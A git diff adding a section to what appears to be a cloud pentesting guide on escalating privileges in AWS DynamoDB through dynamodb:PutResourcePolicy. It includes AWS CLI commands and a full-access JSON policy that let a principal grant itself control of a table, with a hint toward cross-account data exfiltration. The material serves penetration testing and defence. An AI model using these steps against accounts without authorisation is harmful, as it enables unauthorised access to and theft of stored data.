diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index e090dfd97..5fad0c3a2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -10,9 +10,64 @@ For more info about dynamodb check:
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
+### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`
+
+Since March 2024, AWS offers *resource based policies* for DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+So, if you have the `dynamodb:PutResourcePolicy` for a table, you can just grant yourself or any other principal full access to the table.
+
+Granting the `dynamodb:PutResourcePolicy` to a random principal often happens by accident, if the admins think that granting `dynamodb:Put*` would only allow the principal to put items into the database - or if they granted that permissionset before March 2024...
+
+Ideally, you also have `dynamodb:GetResourcePolicy`, so you do not overwrite other potentially vital permissions, but only inject the added permissions you need:
+
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+	--resource-arn <table_arn> \
+	--query 'Policy' \
+	--output text > policy.json
+```
+
+If you cannot retrieve the current policy, just use this one that grants full access over the table to your principal:
+
+```json
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Sid": "FullAccessToDynamoDBTable",
+            "Effect": "Allow",
+            "Principal": {
+                "AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+            },
+            "Action": [
+                "dynamodb:*"
+            ],
+            "Resource": [
+                "arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+            ]
+        }
+    ]
+}
+```
+
+If you need to customize it, here is a list of all possible DynamoDB actions: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). And here is a list of all actions that can be allowed via a resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Now, with the policy document `policy.json` ready, put the resource policy:
+
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+	--resource-arn <table_arn> \
+	--policy "$(cat policy.json)"
+```
+
+Now, you should have the permissions you needed.
+
 ### Post Exploitation
 
-As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
+As far as I know there is **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md